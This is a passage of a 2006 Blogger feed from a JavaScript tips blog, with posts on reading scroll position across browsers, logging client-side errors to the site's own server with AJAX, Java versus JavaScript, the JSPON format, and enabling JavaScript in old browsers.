Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32556551&amp;postID=115867878264746690' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/115867878264746690'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/115867878264746690'/><link rel='alternate' type='text/html' href='http://javascriptmagic.blogspot.com/2006/09/simple-javascript-function-to-get-url.html' title='A simple Javascript function to get URL parameters'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32556551.post-115763453101609808</id><published>2006-09-07T06:08:00.000-07:00</published><updated>2006-09-08T05:33:39.440-07:00</updated><title type='text'>Getting the Scrolling position using Javascript</title><content type='html'>&lt;p align="left"&gt;Page scrolling is one of the least-standardized properties in JavaScript: three variations are now in use by different versions of different browsers. But with a few careful object tests, we can reliably get a consistent value.  &lt;/p&gt;&lt;p align="left"&gt;&lt;strong&gt;&lt;em&gt;Solution&lt;/em&gt;&lt;/strong&gt;  &lt;/p&gt;&lt;p align="left"&gt;There are three ways of getting this information. We'll use object tests on each approach, to determine the level of support available:  &lt;/p&gt;&lt;p align="left"&gt;&lt;code&gt;&lt;span style="color:#ff8000;"&gt;&lt;strong&gt;Example 7.8. get-scrolling-position.js (excerpt)&lt;/strong&gt;&lt;br /&gt;function getScrollingPosition()&lt;br /&gt;{&lt;br /&gt; var position = [0, 0];&lt;br /&gt; if (typeof window.pageYOffset != 'undefined')&lt;br /&gt; {&lt;br /&gt;   position = [&lt;br /&gt;       window.pageXOffset,&lt;br /&gt;       window.pageYOffset&lt;br /&gt;   ];&lt;br /&gt; }&lt;br /&gt; else if (typeof document.documentElement.scrollTop&lt;br /&gt;     != 'undefined' &amp;amp;&amp; document.documentElement.scrollTop &amp;gt; 0)&lt;br /&gt; {&lt;br /&gt;   position = [&lt;br /&gt;       document.documentElement.scrollLeft,&lt;br /&gt;       document.documentElement.scrollTop&lt;br /&gt;   ];&lt;br /&gt; }&lt;br /&gt; else if (typeof document.body.scrollTop != 'undefined')&lt;br /&gt; {&lt;br /&gt;   position = [&lt;br /&gt;       document.body.scrollLeft,&lt;br /&gt;       document.body.scrollTop&lt;br /&gt;   ];&lt;br /&gt; }&lt;br /&gt; return position;&lt;br /&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/p&gt; &lt;p align="left"&gt;The function can now be called as required. Here's a simple demonstration, using a &lt;code&gt;window.onscroll&lt;/code&gt; event handler, that gets the figures and writes them to the title bar:  &lt;/p&gt;&lt;p align="left"&gt;&lt;code&gt;&lt;span style="color:#ff8000;"&gt;&lt;strong&gt;Example 7.9. get-scrolling-position.js (excerpt)&lt;/strong&gt;&lt;br /&gt;window.onscroll = function()&lt;br /&gt;{&lt;br /&gt; var scrollpos = getScrollingPosition();&lt;br /&gt; document.title = 'left=' + scrollpos[0] + ' top=' +&lt;br /&gt;     scrollpos[1];&lt;br /&gt;};&lt;/span&gt;&lt;/code&gt;&lt;/p&gt; &lt;p align="left"&gt;&lt;em&gt;The Problem with &lt;code&gt;&lt;span style="color:#ff8000;"&gt;scroll&lt;/span&gt;&lt;/code&gt;&lt;/em&gt;  &lt;/p&gt;&lt;p align="left"&gt;&lt;em&gt;&lt;code&gt;&lt;span style="color:#ff8000;"&gt;scroll&lt;/span&gt;&lt;/code&gt; is not the most reliable of events: it may not fire at all in Konqueror or Safari 1.0, or when the user navigates with a mouse wheel in Firefox. And if it does fire, it may do so continually and rapidly (as it does in Internet Explorer), which can be slow and inefficient if the scripting you set to respond to the event is very complex.&lt;/em&gt;  &lt;/p&gt;&lt;p align="left"&gt;&lt;em&gt;If you have difficulties of this kind, you may find it better to use the &lt;code&gt;setInterval&lt;/code&gt; function instead of an onscroll event handler. &lt;code&gt;setInterval&lt;/code&gt; will allow you to call the function at a predictable interval, rather than in response to an event. &lt;/em&gt; &lt;/p&gt;&lt;p align="left"&gt;&lt;em&gt;&lt;code&gt;&lt;span style="color:#ff8000;"&gt;window.setInterval(function()&lt;br /&gt;{&lt;br /&gt; var scrollpos = getScrollingPosition();&lt;br /&gt; document.title = 'left=' + scrollpos[0] + ' top=' +&lt;br /&gt;     scrollpos[1];&lt;br /&gt;}, 250);&lt;/span&gt;&lt;/code&gt;&lt;/em&gt;&lt;/p&gt; &lt;p align="left"&gt;&lt;strong&gt;&lt;em&gt;Discussion&lt;/em&gt;&lt;/strong&gt;  &lt;/p&gt;&lt;p align="left"&gt;The only real complication here is that IE 5 actually does recognize the &lt;code&gt;documentElement.scrollTop&lt;/code&gt; property, but its value is always zero, so we have to check the value as well as looking for the existence of the property.  &lt;/p&gt;&lt;p align="left"&gt;Otherwise, it doesn't really matter to us which browser is using which property; all that matters is that our script gets through one of the compatibility tests and returns a useful value. However, the properties used by each browser are shown here for reference:  &lt;/p&gt;&lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;code&gt;&lt;span style="color:#ff8000;"&gt;window.pageYOffset&lt;/span&gt;&lt;/code&gt; is used by Firefox and other Mozilla browsers, Safari, Konqueror, and Opera. &lt;/div&gt; &lt;/li&gt;&lt;li&gt; &lt;div align="left"&gt;&lt;code&gt;&lt;span style="color:#ff8000;"&gt;document.documentElement.scrollTop&lt;/span&gt;&lt;/code&gt; is used by IE 6 in standards-compliant mode. &lt;/div&gt; &lt;/li&gt;&lt;li&gt; &lt;div align="left"&gt;&lt;code&gt;&lt;span style="color:#ff8000;"&gt;document.body.scrollTop&lt;/span&gt;&lt;/code&gt; is used by IE 5, and IE 6 in "Quirks" mode. &lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="left"&gt;This list doesn't tell the complete story, but it's intended primarily to describe the ordering of the tests. More recent Mozilla browsers (such as Firefox) also support &lt;code&gt;documentElement.scrollTop&lt;/code&gt; and &lt;code&gt;body.scrollTop&lt;/code&gt;, by the same rendering mode rules as IE 6. Safari and Konqueror support &lt;code&gt;body.scrollTop&lt;/code&gt; in either mode. Opera supports all three properties in any mode!  &lt;/p&gt;&lt;p align="left"&gt;But none of this is important for you to know -- browser vendors add these multiple properties to allow for scripts that are unaware of one property or another, not to provide arbitrary choices for the sake of it. From our perspective, the important point is to settle on a set of compatibility tests that ensures our script will work as widely as possible.  &lt;/p&gt;&lt;p align="left"&gt;&lt;a href="http://www.sitepoint.com/print/javascript-from-scratch" target="_blank"&gt;Get more information&lt;/a&gt;  &lt;/p&gt;&lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/scroll+position"&gt;scroll position&lt;/a&gt;, &lt;a href="http://technorati.com/tag/javascript"&gt;javascript&lt;/a&gt;, &lt;a href="http://technorati.com/tag/javascript+code"&gt;javascript code&lt;/a&gt;, &lt;a href="http://technorati.com/tag/mouse+position"&gt;mouse position&lt;/a&gt;, &lt;a href="http://technorati.com/tag/browsers"&gt;browsers&lt;/a&gt;, &lt;a href="http://technorati.com/tag/page+scrolling"&gt;page scrolling&lt;/a&gt;, &lt;a href="http://technorati.com/tag/scrolltop"&gt;scrolltop&lt;/a&gt;  &lt;/p&gt;&lt;p align="left"&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32556551-115763453101609808?l=javascriptmagic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javascriptmagic.blogspot.com/feeds/115763453101609808/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32556551&amp;postID=115763453101609808' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/115763453101609808'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/115763453101609808'/><link rel='alternate' type='text/html' href='http://javascriptmagic.blogspot.com/2006/09/getting-scrolling-position-using.html' title='Getting the Scrolling position using Javascript'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32556551.post-115743541829504011</id><published>2006-09-04T22:50:00.000-07:00</published><updated>2006-09-08T05:32:38.593-07:00</updated><title type='text'>AJAX, PHP and Javascript Errors</title><content type='html'>&lt;p&gt;&lt;/p&gt; &lt;p&gt;Javascript is a powerful tool in the web programmers toolbox however, it's also one of our greatest headaches. Dealing with browser inconsistencies is always a source of great pain. You test on multiple platforms, find everyone you know with a mac running safari and think you have your code locked down however it rarely always works out this way. Being able to detect javascript errors in the wild can be a great resource for you to really see how your code is performing on a day to day basis. Mozilla and IE support a powerful event handler called "onerror" used like window.onerror = function(){};&lt;br /&gt;You can create a custom function at the top of all your scripts that will record any parsing or exception errors generated. You can create your function to accept 3 parameters, the message of the error, the URL of the error and the Line number of the error. Creating this function is as simple as so:&lt;/p&gt;&lt;pre&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt; &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&amp;lt;SCRIPT&amp;gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;window.onerror = function(msg, err_url, line) {&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;alert('an error occured on line: ' + line);&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;}&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&amp;lt;/SCRIPT&amp;gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt; &lt;/li&gt;&lt;/ol&gt;&lt;/pre&gt;&lt;br /&gt;Now the end user really doesn't care which line an error occurred on but the powerful part is being able to get this information back to the developers. Using AJAX technologies you can easily record a log of all js errors on your site so you can take appropriate action to fix these issues. Not only can you include msg, line and error URL, but you can also send any other information javascript can capture such as referring page and the type of browser the client is using.&lt;br /&gt;I'm going to use my standard AJAX class I use in my applications. I'm not a big fan of overhyped, oversized, slow AJAX frameworks that take a very simple concept and turn it into a serialized mess so I just use my trusty 97 line js class which can be found here &lt;a href="http://www.litfuel.net/tutorials/js_errors/class_xmlhttp.js"&gt;http://www.litfuel.net/tutorials/js_errors/class_xmlhttp.js&lt;/a&gt;. I'm not going to go over ajax as I'm sure there are many other places you can get the basics. Basically this script just allows you to create an XMLHTTP object and pass POST parameters and a callback function.&lt;br /&gt;To use the object you simple write:&lt;pre&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt; &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;// post data you want to send to the server&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;var POSTData = 'msg=' + msg ; &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt; &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;// create the actual xmlhttprequest object and pass the URL of the PHP page you want to call  &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;var s = new XMLHTTP("error_server.php?");   &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt; &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;// post data to the server and assign processReqChange as the function to call back when the data is posted&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;var xmlDoc = s.call(POSTData, processReqChange);&lt;/p&gt;&lt;/li&gt;&lt;li&gt; &lt;/li&gt;&lt;/ol&gt;&lt;/pre&gt;&lt;br /&gt;Putting these two things together you can now log all of your JS error msgs behind the scenes and create an offline viewer that you and your other programmers can sift through. I prefer to err on the side of performance so the goal is just to log some quick info to the server and set up a cron job to email that data each night to the developers.&lt;br /&gt;&lt;img src="http://www.litfuel.net/tutorials/js_errors/js_error.jpg" border="0" /&gt;&lt;br /&gt;FILE 1 - Our main HTML File index.html&lt;pre&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt; &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&amp;lt;HTML&amp;gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&amp;lt;HEAD&amp;gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&amp;lt;TITLE&amp;gt;&amp;lt;/TITLE&amp;gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&amp;lt;SCRIPT SRC="class_xmlhttp.js" type="text/javascript"&amp;gt;&amp;lt;/SCRIPT&amp;gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&amp;lt;SCRIPT SRC="js_error_logger.js" type="text/javascript"&amp;gt;&amp;lt;/SCRIPT&amp;gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&amp;lt;SCRIPT&amp;gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;// This function does not exist so it will generate an exception error&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;test();&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&amp;lt;/SCRIPT&amp;gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&amp;lt;/HEAD&amp;gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&amp;lt;BODY&amp;gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&amp;lt;/BODY&amp;gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&amp;lt;/HTML&amp;gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt; &lt;/li&gt;&lt;/ol&gt;&lt;/pre&gt;&lt;br /&gt;So what we're doing here is first including our XMLHTTPRequest class to instantiate our JS Object, then including the onerror functionality that will log the data to our server on every webpage. You can find the js_error_logger.js file here: &lt;a href="http://www.litfuel.net/tutorials/js_errors/js_error_logger.js"&gt;http://www.litfuel.net/tutorials/js_errors/js_error_logger.js&lt;/a&gt;&lt;br /&gt;js_error_logger.js file:&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32556551-115743541829504011?l=javascriptmagic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javascriptmagic.blogspot.com/feeds/115743541829504011/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32556551&amp;postID=115743541829504011' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/115743541829504011'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/115743541829504011'/><link rel='alternate' type='text/html' href='http://javascriptmagic.blogspot.com/2006/09/ajax-php-and-javascript-errors.html' title='AJAX, PHP and Javascript Errors'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32556551.post-115743530323383402</id><published>2006-09-04T22:48:00.000-07:00</published><updated>2006-09-08T05:32:03.346-07:00</updated><title type='text'>Javascript and Java</title><content type='html'>&lt;p&gt;&lt;/p&gt; &lt;p&gt;JavaScript and Java are similar in some ways but fundamentally different in others. The JavaScript language resembles Java but does not have Java's static typing and strong type checking. JavaScript supports most Java expression syntax and basic control-flow constructs.  &lt;/p&gt;&lt;p&gt;&lt;a&gt;&lt;/a&gt;In contrast to Java's compile-time system of classes built by declarations, JavaScript supports a runtime system based on a small number of data types representing numeric, Boolean, and string values. JavaScript has a prototype-based object model instead of the more common class-based object model. The prototype-based model provides dynamic inheritance; that is, what is inherited can vary for individual objects. JavaScript also supports functions without any special declarative requirements. Functions can be properties of objects, executing as loosely typed methods.  &lt;/p&gt;&lt;p&gt;&lt;a&gt;&lt;/a&gt;JavaScript is a very free-form language compared to Java. You do not have to declare all variables, classes, and methods. You do not have to be concerned with whether methods are public, private, or protected, and you do not have to implement interfaces. Variables, parameters, and function return types are not explicitly typed.  &lt;/p&gt;&lt;p&gt;&lt;a&gt;&lt;/a&gt;Java is a class-based programming language designed for fast execution and type safety. Type safety means, for instance, that you can't cast a Java integer into an object reference or access private memory by corrupting Java bytecodes. Java's class-based model means that programs consist exclusively of classes and their methods. Java's class inheritance and strong typing generally require tightly coupled object hierarchies. These requirements make Java programming more complex than JavaScript authoring.  &lt;/p&gt;&lt;p&gt;&lt;a&gt;&lt;/a&gt;In contrast, JavaScript descends in spirit from a line of smaller, dynamically typed languages such as HyperTalk and dBASE. These scripting languages offer programming tools to a much wider audience because of their easier syntax, specialized built-in functionality, and minimal requirements for object creation.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32556551-115743530323383402?l=javascriptmagic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javascriptmagic.blogspot.com/feeds/115743530323383402/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32556551&amp;postID=115743530323383402' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/115743530323383402'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/115743530323383402'/><link rel='alternate' type='text/html' href='http://javascriptmagic.blogspot.com/2006/09/javascript-and-java.html' title='Javascript and Java'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32556551.post-115743489279715327</id><published>2006-09-04T22:41:00.000-07:00</published><updated>2006-09-08T05:31:04.920-07:00</updated><title type='text'>What is Javascript?</title><content type='html'>&lt;p&gt;&lt;/p&gt; &lt;p&gt;JavaScript is Netscape's cross-platform, object-oriented scripting language. JavaScript is a small, lightweight language; it is not useful as a standalone language, but is designed for easy embedding in other products and applications, such as web browsers. Inside a host environment, JavaScript can be connected to the objects of its environment to provide programmatic control over them.  &lt;/p&gt;&lt;p&gt;&lt;a&gt;&lt;/a&gt;Core JavaScript contains a core set of objects, such as Array, Date, and Math, and a core set of language elements such as operators, control structures, and statements. Core JavaScript can be extended for a variety of purposes by supplementing it with additional objects; for example:  &lt;/p&gt;&lt;ul&gt; &lt;li&gt;&lt;a&gt;&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;Client-side JavaScript&lt;/i&gt; extends the core language by supplying objects to control a browser (Navigator or another web browser) and its Document Object Model (DOM). For example, client-side extensions allow an application to place elements on an HTML form and respond to user events such as mouse clicks, form input, and page navigation.  &lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt; &lt;/li&gt;&lt;li&gt;&lt;i&gt;Server-side JavaScript&lt;/i&gt; extends the core language by supplying objects relevant to running JavaScript on a server. For example, server-side extensions allow an application to communicate with a relational database, provide continuity of information from one invocation to another of the application, or perform file manipulations on a server. &lt;/li&gt;&lt;/ul&gt;&lt;a&gt;&lt;/a&gt;Through JavaScript's LiveConnect functionality, you can let Java and JavaScript code communicate with each other. From JavaScript, you can instantiate Java objects and access their public methods and fields. From Java, you can access JavaScript objects, properties, and methods.  &lt;p&gt;&lt;a&gt;&lt;/a&gt;Netscape invented JavaScript, and JavaScript was first used in Netscape browsers.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32556551-115743489279715327?l=javascriptmagic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javascriptmagic.blogspot.com/feeds/115743489279715327/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32556551&amp;postID=115743489279715327' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/115743489279715327'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/115743489279715327'/><link rel='alternate' type='text/html' href='http://javascriptmagic.blogspot.com/2006/09/what-is-javascript.html' title='What is Javascript?'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32556551.post-115711769819101276</id><published>2006-09-01T06:34:00.000-07:00</published><updated>2006-09-08T05:29:23.156-07:00</updated><title type='text'>JavaScript Persistent Object Notation (JPON)</title><content type='html'>&lt;p&gt;&lt;span style="font-family:Arial;"&gt;JavaScript Persistent Object Notation (JSPON) is a data-interchange format with the goal of simply being a defined usage of JavaScript Object Notation (JSON, see &lt;a href="http://www.json.org/"&gt;www.json.org&lt;/a&gt;) to facilitate JavaScript objects that are intended to persist by defining a scheme to provide the necessary semantics needed for efficient and meaningful persistent objects. JSPON is pure JSON and maintains the same simplicity of JSON, and establishes a format for serializing and referring to objects to enable the persistence of JavaScript objects and object graphs by defining a set of fields for identification, deferred value loading, decentralized object creation, and primitive value, function and array object augmentation.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:Arial;"&gt;JSON provides simple straightforward mechanism for serialization of objects that can efficiently and easily be read by humans and machines. JSON can be adequate for the persistence of simple small objects. However applications that have large complex object graphs and sets of data generally require the exchange of smaller subsets of the data/object graph to be transferred and persisted at a time rather than requiring an entire object graph to be treated as whole, as well as allow objects to be referred from multiple fiels. Such operations on subsets of data entail identifying objects within a graph and allowing for transfers of subsections of object graphs (and not just end point subsets). JSPON provides the common language so that objects can be passed with proper identification and reference information. This also allows objects to be referred to more than once (not possible within a normal JSON object graph).  Standard JSPON simply defines several fields that can be added to JSON object to assist in data description.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:Arial;"&gt;&lt;a href="http://www.jspon.org/" target="_blank"&gt;Read more &lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:Arial;"&gt;Tags: &lt;a href="http://technorati.com/tag/JSPON" target="_blank" rel="tag"&gt;&lt;span style="font-family:Times New Roman;font-size:78%;"&gt;JSPON&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:Times New Roman;"&gt;, &lt;/span&gt;&lt;a href="http://technorati.com/tag/javascript" target="_blank" rel="tag"&gt;&lt;span style="font-family:Times New Roman;font-size:78%;"&gt;javascript&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:Times New Roman;"&gt;, &lt;/span&gt;&lt;a href="http://technorati.com/tag/persistent+objects" target="_blank" rel="tag"&gt;&lt;span style="font-family:Times New Roman;font-size:78%;"&gt;persistent objects&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32556551-115711769819101276?l=javascriptmagic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javascriptmagic.blogspot.com/feeds/115711769819101276/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32556551&amp;postID=115711769819101276' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/115711769819101276'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/115711769819101276'/><link rel='alternate' type='text/html' href='http://javascriptmagic.blogspot.com/2006/09/javascript-persistent-object-notation.html' title='JavaScript Persistent Object Notation (JPON)'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32556551.post-115694483457980202</id><published>2006-08-30T06:33:00.000-07:00</published><updated>2006-08-30T06:33:57.650-07:00</updated><title type='text'>How to enable JavaScript in different browsers</title><content type='html'>&lt;ol&gt;&lt;br /&gt;    &lt;li&gt;First determine what browser version is in use. From the browser's &lt;strong&gt;Help&lt;/strong&gt; menu choose the last item labelled &lt;strong&gt;About [browser name]&lt;/strong&gt;. Macintosh users should go to the application name menu or the Apple menu and select the first item labelled &lt;strong&gt;About [browser name]&lt;/strong&gt;.&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;Next, choose from the information below to find instructions on how to enable Netscape and Internet Explorer browsers to be JavaScript capable.&lt;br /&gt;        &lt;ul&gt;&lt;br /&gt;            &lt;li&gt;&lt;br /&gt;&lt;strong&gt;Internet Explorer 5.x or 6.x&lt;/strong&gt;&lt;br /&gt;                &lt;ol&gt;&lt;br /&gt;                    &lt;li&gt;From the browser's Tools menu select &lt;strong&gt;Internet Options&lt;/strong&gt;&lt;/li&gt;&lt;br /&gt;                    &lt;li&gt;Select &lt;strong&gt;Security&lt;/strong&gt;&lt;/li&gt;&lt;br /&gt;                    &lt;li&gt;Click the &lt;strong&gt;Custom Level&lt;/strong&gt; button near the bottom of the window&lt;/li&gt;&lt;br /&gt;                    &lt;li&gt;Scroll down untill you find a section called &lt;strong&gt;Scripting&lt;/strong&gt; (you may need to double click on icons to expand lists) and a subsection called &lt;strong&gt;Active scripting&lt;/strong&gt;&lt;/li&gt;&lt;br /&gt;                    &lt;li&gt;Select &lt;strong&gt;Enable&lt;/strong&gt;&lt;/li&gt;&lt;br /&gt;                    &lt;li&gt;Click &lt;strong&gt;OK&lt;/strong&gt; and &lt;strong&gt;Yes&lt;/strong&gt; to confirm and close the Security Settings dialog box, then &lt;strong&gt;OK&lt;/strong&gt; again to close the Internet Options box&lt;/li&gt;&lt;br /&gt;                    &lt;li&gt;Click &lt;strong&gt;Refresh&lt;/strong&gt; to reshow the current page.&lt;/li&gt;&lt;br /&gt;                &lt;/ol&gt;&lt;br /&gt;            &lt;/li&gt;&lt;br /&gt;            &lt;li&gt;&lt;br /&gt;&lt;strong&gt;Internet Explorer 5.x - Macintosh&lt;/strong&gt;&lt;br /&gt;                &lt;ol&gt;&lt;br /&gt;                    &lt;li&gt;From the browser's &lt;strong&gt;Edit&lt;/strong&gt; menu select &lt;strong&gt;Preferences&lt;/strong&gt;&lt;/li&gt;&lt;br /&gt;                    &lt;li&gt;Within the left-hand pick list, expand the item group &lt;strong&gt;Web Browser&lt;/strong&gt; (if necessary)&lt;/li&gt;&lt;br /&gt;                    &lt;li&gt;Under the item group labelled &lt;strong&gt;Web Browser&lt;/strong&gt;, select &lt;strong&gt;Web Control&lt;/strong&gt;&lt;/li&gt;&lt;br /&gt;                    &lt;li&gt;Check the box labelled &lt;strong&gt;Enable JavaScript&lt;/strong&gt; and click &lt;strong&gt;OK&lt;/strong&gt; to close the Internet Explorer Preferences box&lt;/li&gt;&lt;br /&gt;                    &lt;li&gt;Click &lt;strong&gt;Refresh&lt;/strong&gt; to reshow the current page.&lt;/li&gt;&lt;br /&gt;                &lt;/ol&gt;&lt;br /&gt;            &lt;/li&gt;&lt;br /&gt;            &lt;li&gt;&lt;br /&gt;&lt;strong&gt;Netscape 7.x&lt;/strong&gt;&lt;br /&gt;                &lt;ol&gt;&lt;br /&gt;                    &lt;li&gt;From the browser's &lt;strong&gt;Edit&lt;/strong&gt; menu select &lt;strong&gt;Preferences&lt;/strong&gt;&lt;/li&gt;&lt;br /&gt;                    &lt;li&gt;Within the &lt;strong&gt;Category&lt;/strong&gt; pick list, expand the &lt;strong&gt;Advanced&lt;/strong&gt; item&lt;/li&gt;&lt;br /&gt;                    &lt;li&gt;Select the sub item &lt;strong&gt;Scripts &amp;amp; Plugins&lt;/strong&gt;&lt;/li&gt;&lt;br /&gt;                    &lt;li&gt;Check &lt;strong&gt;Navigator&lt;/strong&gt; under the Enable JavaScript for grouping&lt;/li&gt;&lt;br /&gt;                    &lt;li&gt;Click &lt;strong&gt;OK&lt;/strong&gt; to close the Preferences box&lt;/li&gt;&lt;br /&gt;                    &lt;li&gt;Click &lt;strong&gt;Reload&lt;/strong&gt; to reshow the current page.&lt;/li&gt;&lt;br /&gt;                &lt;/ol&gt;&lt;br /&gt;            &lt;/li&gt;&lt;br /&gt;            &lt;li&gt;&lt;br /&gt;&lt;strong&gt;Netscape 6.x&lt;/strong&gt;&lt;br /&gt;                &lt;ol&gt;&lt;br /&gt;                    &lt;li&gt;From the browser's &lt;strong&gt;Edit&lt;/strong&gt; menu select &lt;strong&gt;Preferences&lt;/strong&gt;&lt;/li&gt;&lt;br /&gt;                    &lt;li&gt;Within the &lt;strong&gt;Category&lt;/strong&gt; pick list, expand the &lt;strong&gt;Advanced&lt;/strong&gt; item&lt;/li&gt;&lt;br /&gt;                    &lt;li&gt;Check &lt;strong&gt;Enable JavaScript for Navigator&lt;/strong&gt;&lt;/li&gt;&lt;br /&gt;                    &lt;li&gt;Click &lt;strong&gt;OK&lt;/strong&gt; to close the Preferences box&lt;/li&gt;&lt;br 